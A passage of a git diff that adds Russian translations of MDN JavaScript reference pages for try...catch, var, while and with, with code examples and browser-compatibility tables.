+</dl>
+
+<dl>
+ <dt><code>finally_statements</code></dt>
+ <dd>Инструкции, которые выполняются после завершения блока <code>try</code>. Выполнение происходит в независимости от того, произошла ошибка или нет.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Конструкция <code>try</code> содержит блок <code>try</code>, в котором находится одна или несколько инструкций (Блок (<code>{}</code> ) обязательно должен присутствовать, даже если выполняется всего одна инуструкция), и хотя бы один блок <code>catch</code> или <code>finally</code>. Таким образом, есть три основные формы конструкции <code>try</code>:</p>
+
+<ol>
+ <li><code>try {...} catch {...}</code></li>
+ <li><code>try {...} finally {...}</code></li>
+ <li><code>try {...} catch {...} finally {...}</code></li>
+</ol>
+
+<p>Блок <code>catch</code> содержит инструкции, которые будут выполнены, если в блоке <code>try</code> произошла ошибка. Если любая инструкция в блоке <code>try</code> выбрасывает исключение, то управление сразу же переходит в блок <code>catch</code>. Если в блок <code>try</code> не было выброшено исключение, то блок <code>catch</code> не выполняется.</p>
+
+<p>Блок <code>finally</code> выполнится после выполнения блоков <code>try</code> и <code>catch</code>, но перед инструкциями, следующими за конструкцией <code>try...catch</code>. Он выполняется всегда, в независимости от того, было исключение или нет.</p>
+
+<p>Вы можете использовать вложенные конструкции <code>try</code>. Если внутренняя конструкция <code>try</code> не имеет блока <code>catch</code> (такое может быть при её использовании в виде <code>try {...} finaly {...}</code>, потому что <code>try {...}</code> не может быть без блоков <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">catch</span></font> или <code>finally</code>), будет вызван <code>сatch</code> внешней конструкции <code>try</code>.</p>
+
+<p>Конструкция <code>try</code> также используется для обработки исключений JavaScript (то есть, выброшенных внутренними функциями языка или парсером). Загляните в <a href="/ru-RU/docs/Web/JavaScript/Guide">JavaScript руководство</a> для дополнительной информации о JavaScript исключениях.</p>
+
+<h3 id="Безусловный_блок_catch">Безусловный блок catch</h3>
+
+<p>При использовании блока <code>catch</code>, он вызывается для любого исключения в блоке <code>try</code>. Например, когда в следующем коде происходит ошибка, управление переходит к блоку <code>catch</code>.</p>
+
+<pre class="brush: js">try {
+   throw 'myException'; // создание исключения
+}
+catch (e) {
+   // инструкции для обработки ошибок
+   logMyErrors(e); // передать объект исключения обработчику ошибок
+}
+</pre>
+
+<p>Блок <code>catch</code> задает идентификатор (<code>e</code> в примере выше) который содержит объект исключения (в примере выше — значение, переданное оператору <code>throw</code>). Область видимости этого объекта ограничивается блоком <code>catch</code>.</p>
+
+<h3 id="Условный_блок_catch">Условный блок <code>catch</code></h3>
+
+<p>"Условные блоки <code>catch</code>" можно создавать, используя <code>try...catch</code> с <code>if...else if...else</code>, как здесь:</p>
+
+<pre class="brush: js">try {
+  myroutine(); // может выбрасывать три вида исключений
+} catch (e) {
+  if (e instanceof TypeError) {
+    // обработка исключения TypeError
+  } else if (e instanceof RangeError) {
+    // обработка исключения RangeError
+  } else if (e instanceof EvalError) {
+    // обработка исключения EvalError
+  } else {
+    // обработка остальных исключений
+    logMyErrors(e); // передать обработчику ошибок
+  }
+}</pre>
+
+<p>Частый сценарий использованя — обработать известные исключения, а при неизвестных ошибках, пробросить их дальше:</p>
+
+<pre class="brush: js">try {
+  myRoutine();
+} catch(e) {
+  if (e instanceof RangeError) {
+    // обработка известного исключения, с которым
+    // понятно, что делать
+  } else {
+    throw e; // пробросить неизвестные ошибки
+  }
+}
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Обратите внимание</strong>: Firefox раньше поддерживал краткую запись условных блоков <code>catch</code>:</p>
+
+<pre>try {
+  myroutine(); // может выбрасывать три вида исключения
+} catch (e if e instanceof TypeError) {
+  // обработка исключений TypeError
+} catch (e if e instanceof RangeError) {
+  // обработка исключений RangeError
+} catch (e if e instanceof EvalError) {
+  // обработка исключений EvalError
+} catch (e) {
+  // обработка остальных исключения
+  logMyErrors(e);
+}
+</pre>
+
+<p>Однако, такой синтаксис никогда не был частью спецификации ECMAScript и был удалён из Firefox после версии 59. Сейчас он не поддерживается ни в одном браузере.</p>
+</div>
+
+<h3 id="Идентификатор_исключения">Идентификатор исключения</h3>
+
+<p>Когда в блоке <code>try</code> выбрасывается исключение, <code>exception_var</code> (т. е. <code>e</code> в конструкции <code>catch (e)</code>) содержит значение исключения. Его можно использовать, чтобы получить больше информации об выброшенном исключении. Идентификатор доступен только в <a href="https://wiki.developer.mozilla.org/docs/Glossary/Scope">области видимости</a> блока <code>catch</code>.</p>
+
+<pre class="brush: js">try {
+  if (!firstValidation()) {
+    throw 1;
+  }
+  if (!secondValidation()) {
+    throw 2;
+  }
+} catch (e) {
+  // Выводит 1 или 2 (если не произошло никакх других ошибок)
+  console.log(e);
+}</pre>
+
+<h3 id="Блок_finally">Блок finally</h3>
+
+<p>Блок <code>finally</code> содержит код который будет запущен после кода в блоках <code>try</code> и <code>catch</code>. Обратите внимание, что код в блоке <code>finally</code> запускается в независимости от того, было ли выброшено исключение или нет. Также код в блоке <code>finally</code> будет запущен вне зависимости от того, присутствует блок <code>catch</code> или нет. Блок <code>finally</code> можно использовать для того, чтобы скрипт безопасно завершил работу в случае ошибки. Например, если необходимо освободить память и ресурсы которые использовал скрипт.</p>
+
+<p>Наличие специального блока, связанного с ошибкой, который выполняется вне зависимости от наличия исключительной ситуации, может показаться странным, но эта конструкция на самом деле весьма полезна. Рассмотрим пример кода:</p>
+
+<pre class="brush: js">function expensiveCalculations() {
+  // Сложные вычисления
+}
+
+function maybeThrowError() {
+  // Функция, которая может выбросить исключение
+  if(Math.random() &gt; 0.5) throw new Error()
+}
+
+try {
+  // Теперь при прокрутке страницы будут происходить
+  // сложные вычисления, что сильно скажется на
+  // производительности
+  window.addEventListener('scroll', expensiveCalculations)
+  maybeThrowError()
+} catch {
+  // Если функция maybeThrowError выбросит исключения,
+  // управление сразу перейдёт в блок catch и
+  // сложные вычисления продолжат выполняться до
+  // перезагрузки страницы
+  maybeThrowError()
+}
+window.removeEventListener('scroll', expensiveCalculations)</pre>
+
+<p>В этом примере, если функция <code>maybeThrowError</code> выбросит исключение внутри блока <code>try</code>, управление перейдёт в блок <code>catch</code>. Если и в блоке <code>catch</code> эта функция тоже выбросит исключение, то выполнение кода прервётся, и обработчик события не будет снят, пока пользователь не перезагрузит страницу, что плохо скажется на скорости работы. Для того, чтобы избежать таких ситуаций, следует использовать блок <code>finally</code>:</p>
+
+<pre class="brush: js">try {
+  window.addEventListener('scroll', expensiveCalculations)
+  maybeThrowError()
+} catch {
+  maybeThrowError()
+} finally {
+  window.removeEventListener('scroll', expensiveCalculations)
+}
+
+</pre>
+
+<p>Другой пример: работа с файлами. В следующем фрагменте кода показывается, как скрипт открывает файл и записывает в него какие-то данные (в серверном окружении JavaScript имеет доступ к файловой системе). Во время записи может произойти ошибка. Но после открытия файл очень важно закрыть, потому что незакрытый файл может привести к утечкам памяти. В таких случях используется блок <code>finally</code>:</p>
+
+<pre class="brush: js">openMyFile();
+try {
+   // Сделать что-то с файлом
+   writeMyFile(theData);
+}
+finally {
+   closeMyFile(); // Закрыть файл, что бы ни произошло
+}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Вложенные_блоки_try">Вложенные блоки try</h3>
+
+<p>Для начала давайте посмотрим что делает этот код:</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error('упс');
+  }
+  finally {
+    console.log('finally');
+  }
+}
+catch (e) {
+  console.error('внешний блок catch', e.message);
+}
+
+// Вывод:
+// "finally"
+// "внешний блок catch" "упс"
+</pre>
+
+<p>Теперь отловим исключение во внутреннем блоке <code>try</code>, добавив к нему блок <code>catch</code>:</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error('упс');
+  }
+  catch (e) {
+    console.error('внутренний блок catch', e.message);
+  }
+  finally {
+    console.log('finally');
+  }
+}
+catch (e) {
+  console.error('внешний блок catch', e.message);
+}
+
+// Output:
+// "внутренний блок catch" "упс"
+// "finally"
+</pre>
+
+<p>Наконец, пробросим ошибку</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error('упс');
+  }
+  catch (e) {
+    console.error('внутренний блок catch', e.message);
+    throw e;
+  }
+  finally {
+    console.log('finally');
+  }
+}
+catch (e) {
+  console.error('внешний блок catch', e.message);
+}
+
+// Вывод:
+// "внутренний блок catch" "oops"
+// "finally"
+// "внешний блок catch" "oops"
+</pre>
+
+<p>Любое исключение будет передано только в ближайший блок <code>catch</code>, если он не пробросит его дальше. Все исключения, выброшенными внутренними блоками (потому что код в блоке <code>catch</code> также может выбросить исключение), будут пойманы внешними.</p>
+
+<h3 id="Возвращение_значения_из_блока_finally">Возвращение значения из блока finally</h3>
+
+<p>Если блок <code>finally</code> возвращает какое-либо значение, оно становится значением, которое возвращает вся конструкция <code>try...catch...finally</code>, вне зависимости от любых инструкций <code>return</code> в блоках <code>try</code> и <code>catch</code>. Также игнорируются исключения, выброшенные блоком <code>catch</code>.</p>
+
+<pre class="brush: js">try {
+  try {
+    throw new Error('упс');
+  }
+  catch (e) {
+    console.error('внутренний блок catch', e.message);
+    throw e;
+  }
+  finally {
+    console.log('finally');
+    return;
+  }
+}
+catch (e) {
+  console.error('внешний блок catch', e.message);
+}
+
+// Output:
+// "внутренний блок catch" "упс"
+// "finally"
+</pre>
+
+<p>"упс" не доходит до внешнего блока из-за инструкции <code>return</code> в блоке <code>finally</code>. То же самое произойдёт с любым значением, возвращаемым из блока <code>catch</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальная редакция. Реализовано в JavaScript 1.4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.14', 'try statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-try-statement', 'try statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-try-statement', 'try statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Not part of the current ECMA-262 standard: Multiple catch clauses and conditional clauses (SpiderMonkey extension, JavaScript 1.5).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("6")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Conditional clauses<br>
+    (non-standard)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Conditional clauses<br>
+    (non-standard)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/var/index.html b/files/ru/web/javascript/reference/statements/var/index.html
new file mode 100644
index 0000000000..fa1df166fc
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/var/index.html
@@ -0,0 +1,221 @@
+---
+title: var
+slug: Web/JavaScript/Reference/Statements/var
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Оператор <strong>var </strong>объявляет переменную, инициализируя ее, при необходимости.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>varname1 [</em>= <em>value1 [</em>, <em>varname2 [</em>, <em>varname3 ... [</em>, <em>varnameN]]]]</em>;</pre>
+
+<dl>
+ <dt><code>varnameN</code></dt>
+ <dd>Имя переменной. Может использоваться любой допустимый идентификатор.</dd>
+</dl>
+
+<dl>
+ <dt><code>valueN</code></dt>
+ <dd>Значение переменной. Любое допустимое выражение. По-умолчанию значение <em>undefined.</em></dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объявление переменной всегда обрабатывается до выполнения кода, где бы она ни находилась. Область видимости переменной, объявленной через <code>var</code>, это её текущий <em>контекст выполнения</em>.<em> </em>Который может ограничиваться функцией или быть глобальным, для переменных, объявленных за пределами функции.</p>
+
+<p>Присвоение значения необъявленной переменной подразумевает, что она будет создана как глобальная переменная (переменная становится свойством глобального объекта) после выполнения присваивания значения. Различия между объявленной и необъявленной переменными следующие:</p>
+
+<p>1. Объявленные переменные ограничены контекстом выполнения, в котором они были объявлены. Необъявленные переменные всегда глобальны.</p>
+
+<pre class="brush: js">function x() {
+  y = 1; // возбудит ReferenceError в "строгом режиме"
+  var z = 2;
+}
+
+x();
+
+console.log(y); // выведет "1"
+console.log(z); // возбудит ReferenceError: z не определён вне x
+</pre>
+
+<p>2. Объявленные переменные инициализируются до выполнения любого кода. Необъявленные переменные не существуют до тех пор, пока к ним не выполнено присваивание.</p>
+
+<pre class="brush: js">console.log(a);    // Возбудит ReferenceError.
+console.log('still going...'); // Не выполнится.</pre>
+
+<pre class="brush: js">var a;
+console.log(a);                // Выведет "undefined" или "", в зависимости от браузера.
+console.log('still going...'); // Выведет "still going...".</pre>
+
+<p>3. Объявленные переменные, независимо от контекста выполнения, являются ненастраиваемыми свойствами. Необъявленные переменные это настраиваемые свойства (т.е. их можно удалять).</p>
+
+<pre class="brush: js">var a = 1;
+b = 2;
+
+delete this.a; // Возбудит TypeError в "строгом режиме". В "нестрогом режиме" будет ошибка без уведомления.
+delete this.b;
+
+console.log(a, b); // Возбудит ReferenceError.
+// Свойство 'b' было удалено и больше не существует.</pre>
+
+<p>Из-за перечисленных различий, использование необъявленных переменных может привести к непредсказуемым последствиям. <strong>Рекомендовано всегда объявлять переменные, вне зависимости, находятся они внутри функции или в глобальном контексте.</strong> Присваивание значения необъявленной переменной в <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">строгом режиме</a> ECMAScript 5 возбуждает ошибку.</p>
+
+<h3 id="Поднятие_переменных">Поднятие переменных</h3>
+
+<p>Объявление переменных (как и любые другие объявления) обрабатываются до выполнения кода. Где бы не находилось объявление, это равнозначно тому, что переменную объявили в самом начале кода. Это значит, что переменная становится доступной до того, как она объявлена. Такое поведение называется "поднятием" (в некоторых источниках "всплытием").</p>
+
+<pre class="brush: js">bla = 2
+var bla;
+// ...
+
+// читается как:
+
+var bla;
+bla = 2;
+</pre>
+
+<p>Поэтому объявление переменных рекомендовано выносить в начало их области видимости (в начало глобального кода или в начало функции). Это даёт понять какие переменные принадлежат функции (т.е. являются локальными), а какие обрабатываются в цепи областей видимости (т.е. являются глобальными).</p>
+
+<p>Важно отметить, что подъем будет влиять на объявление переменной, но не на инициализацию ее значения. Значение присваивается при выполнении оператора присваивания:</p>
+
+<pre class="brush: js">function do_something() {
+  console.log(bar); // выведет undefined
+  var bar = 111;
+  console.log(bar); // выведет 111
+}
+
+// ...неявно понимается как:
+
+function do_something() {
+  var bar;
+  console.log(bar); // выведет undefined
+  bar = 111;
+  console.log(bar); // выведет 111
+}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Объявление_и_инициализация_двух_переменных">Объявление и инициализация двух переменных</h3>
+
+<pre class="brush: js">var a = 0, b = 0;
+</pre>
+
+<h3 id="Присвоение_двум_переменным_одного_строкового_значения">Присвоение двум переменным одного строкового значения</h3>
+
+<pre class="brush: js">var a = "A";
+var b = a;
+
+// Равнозначно:
+
+var a, b = a = "A";
+</pre>
+
+<p>Следите за порядком присвоения значений переменным</p>
+
+<pre class="brush: js">var x = y, y = 'A';
+console.log(x + y); // undefinedA
+</pre>
+
+<p>В примере, <code>x</code> и <code>y</code> объявлены до выполнение кода, присвоение выполняется позже. Когда происходит присваивание "<code>x = y</code>", <code>y</code> уже существует со значением '<code>undefined</code>', так что ошибка <code>ReferenceError</code> не генерируется. И переменной <code>x</code> присваивается неопределённое значение. Потом переменной <code>y</code> присваивается значение 'A'. Получается, что после выполнения первой строки кода <code>x === undefined &amp;&amp; y === 'A'</code>, отсюда и результат.</p>
+
+<h3 id="Инициализация_нескольких_переменных">Инициализация нескольких переменных</h3>
+
+<pre class="brush: js">var x = 0;
+
+function f(){
+  var x = y = 1; // x - объявляется локально. y - глобально!
+}
+f();
+
+console.log(x, y); // 0, 1
+// значение x взято из глобальной переменной, как и ожидалось
+// значение переменной y доступно глобально</pre>
+
+<p>Такой же пример, но в строгом режими:</p>
+
+<pre class="brush: js">'use strict';
+
+var x = 0;
+function f() {
+  var x = y = 1; // Throws a ReferenceError in strict mode.
+}
+f();
+
+console.log(x, y);</pre>
+
+<h3 id="Неявные_глобальные_переменные_и_внешняя_область_видимости">Неявные глобальные переменные и внешняя область видимости</h3>
+
+<p>Переменные могут ссылаться на переменные внешней области видимости функции, и это может выглядеть неявно:</p>
+
+<pre class="brush: js">var x = 0;  // x объявлена глобально, затем присваивается значение 0
+
+console.log(typeof z); // undefined, пока еще z не существет
+
+function a() { // когда функция a вызванна,
+  var y = 2;   // y объявляется локально в функции a, затем присваивается 2
+
+  console.log(x, y);   // 0 2
+
+  function b() {       // когда функция b вызванна
+    x = 3;  // присваивается 3 существующей глобальной x
+    y = 4;  // присваивается 4 существующей внешней y
+    z = 5;  // создается новая глобальная переменная z и присваивается значение 5.
+  }         // (Порождает ReferenceError в strict mode(<em>строгом</em> режиме).)
+
+  b();     // вызов b создает z как глобальную переменную
+  console.log(x, y, z);  // 3 4 5
+}
+
+a();                   // вызов a также вызывает b
+console.log(x, z);     // 3 5
+console.log(typeof y); // undefined, так как y это локальная переменная для функции a</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Начальное определение. Имплементировано в JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.2', 'var statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<div id="compat-mobile">{{Compat("javascript.statements.var")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+ <li><a class="external" href="http://blog.safeshepherd.com/23/how-one-missing-var-ruined-our-launch/">How One Missing `var` Ruined our Launch</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/while/index.html b/files/ru/web/javascript/reference/statements/while/index.html
new file mode 100644
index 0000000000..1baf54a1f4
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/while/index.html
@@ -0,0 +1,143 @@
+---
+title: while
+slug: Web/JavaScript/Reference/Statements/while
+tags:
+  - JavaScript
+  - Оператор
+  - Цикл
+translation_of: Web/JavaScript/Reference/Statements/while
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>Оператор while</strong> создает цикл, выполняющий заданную инструкцию, пока истинно проверяемое условие. Логическое значение условия вычисляется перед исполнением тела цикла.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">while (<em>условие</em>) {
+  <em>инструкция</em>
+}</pre>
+
+<dl>
+ <dt><code>условие</code></dt>
+ <dd>Выражение, логическое значение которого проверяется каждый раз перед заходом в цикл. Если значение истинно, то исполняется <code>инструкция</code>. Когда значение становится ложным, выполняется код, следующий за циклом <code>while</code>.</dd>
+ <dt><code>инструкция</code></dt>
+ <dd>Инструкция, которая исполняется каждый раз, пока истинно условие. Чтобы выполнить несколько инструкций в цикле, используйте <a href="/ru/docs/Web/JavaScript/Reference/Statements/block">блочный</a> оператор (<code>{ ... }</code>) для их группировки.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующий цикл <code>while</code> исполняется, пока <code>n</code> не превышает трёх.</p>
+
+<pre class="brush:js">var n = 0;
+var x = 0;
+
+while (n &lt; 3) {
+  n++;
+  x += n;
+}</pre>
+
+<p>На каждой итерации цикла <code>n</code> увеличивается на единицу и прибавляется к <code>x</code>. Таким образом, <code>x</code> и <code>n</code> принимают следующие значения:</p>
+
+<ul>
+ <li>После первого прохода: <code>n</code> = 1 и <code>x</code> = 1</li>
+ <li>после второго прохода: <code>n</code> = 2 и <code>x</code> = 3</li>
+ <li>После третьего прохода: <code>n</code> = 3 и <code>x</code> = 6</li>
+</ul>
+
+<p>После окончания третьей итерации условие<code> n</code> &lt; 3 больше не является истинным, поэтому цикл завершается.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-while-statement', 'while statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-while-statement', 'while statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.2', 'while statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.2', 'while statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.1', 'while statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/with/index.html b/files/ru/web/javascript/reference/statements/with/index.html
new file mode 100644
index 0000000000..7eb5d5d66a
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/with/index.html
@@ -0,0 +1,177 @@
+---
+title: with
+slug: Web/JavaScript/Reference/Statements/with
+translation_of: Web/JavaScript/Reference/Statements/with
+---
+<div class="warning">Использование оператора <code>with не рекомендуемо, т.к. он может быть источником запутанных багов и проблем совместимости</code>. Детальная информация в параграфе "Ambiguity Contra" раздела "Description".</div>
+
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Инструкция <strong>with</strong> расширяет цепочку областей видимости для инструкции.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">with (expression)
+  s<em>tatement</em>
+</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Добавляет данный exrpession в цепочку областей видимости используемое когда исследуется statement. Рекомендуется использовать круглые скобки вокруг выражения.</dd>
+ <dt><code>statement</code></dt>
+ <dd>Любое выражение. Чтобы использовать несколько выражений, используйте оператор <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block" title="JavaScript/Reference/Statements/block">block</a> statement ({ ... }), чтобы сгруппировать их.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>JavaScript ищет unqualified имя, исследуя  цепочку областей видимости, связанную с выполнением скрипта или функции, сожержащих это unqualified имя. Оператор 'with' добавляет данный объект в начало цепочки областей видимости в ходе исследования тела его оператора. Если unqualified имя используемое в теле соответствует свойству в цепочке областей видимости, тогда имя привязывается к свойству и объекту, содержащему это свойство. В противном случае возвращаетя {{jsxref("ReferenceError")}}.</p>
+
+<div class="note">Использование оператора <code>with не рекомендуется</code>, и недопустимо в строгом режиме (<a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="JavaScript/Strict mode">strict mode</a>)  ECMAScript 5 . Рекомендуемой альтернативой может стать связывание объекта, чьи свойства Вы хотели получить, с коротким именем переменной.</div>
+
+<h3 id="Performance_pro_contra">Performance pro &amp; contra</h3>
+
+<p><strong>Pro:</strong> Оператор <strong>with</strong> может помочь уменьшить размер файла, уменьшив необходимость повторять длинную ссылку на объект без снижения производительности.  Изменение цепочки контекста, необходимое для 'with', не требует больших вычислительных затрат.  Использование 'with' избавит интерпретатор от разбора повторных ссылок на объекты. Однако, обратите внимание, что во многих случаях это преимущество может быть достигнуто с помощью временной переменной для хранения ссылки на нужный объект.</p>
+
+<p><strong>Contra:</strong> Оператор <strong>with</strong> заставляет указанный объект быть найденным сначала среди всех имен поиска.  Поэтому все идентификаторы, которые не относятся к указанному объекту, будут обнаруживаться медленнее в блоке «<strong>with</strong>.  Там, где важна производительность, «with» следует использовать только для охвата блоков кода, которые обращаются к членам указанного объекта.</p>
+
+<h3 id="Ambiguity_contra">Ambiguity contra</h3>
+
+<p><strong>Contra:</strong> The <code>with</code> statement makes it hard for a human reader or JavaScript compiler to decide whether an unqualified name will be found along the scope chain, and if so, in which object. So given this example:</p>
+
+<pre class="brush: js">function f(x, o) {
+  with (o) {
+    console.log(x);
+  }
+}</pre>
+
+<p>Only when <code>f</code> is called is <code>x</code> either found or not, and if found, either in <code>o</code> or (if no such property exists) in <code>f</code>'s activation object, where <code>x</code> names the first formal argument. If you forget to define <code>x</code> in the object you pass as the second argument, or if there's some similar bug or confusion, you won't get an error -- just unexpected results.</p>
+
+<p><strong>Contra: </strong>Code using <code>with</code> may not be forward compatible, especially when used with something other than a plain object. Consider this example:</p>
+
+<div>
+<pre class="brush:js">function f(foo, values) {
+  with (foo) {
+    console.log(values);
+  }
+}
+</pre>
+
+<p>If you call <code>f([1,2,3], obj)</code> in an ECMAScript 5 environment, then the <code>values</code> reference inside the <code>with</code> statement will resolve to <code>obj</code>. However, ECMAScript 6 introduces a <code>values</code> property on <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype">Array.prototype</a></code> (so that it will be available on every array). So, in a JavaScript environment that supports ECMAScript 6, the <code>values</code> reference inside the <code>with</code> statement will resolve to <code>[1,2,3].values</code>.</p>
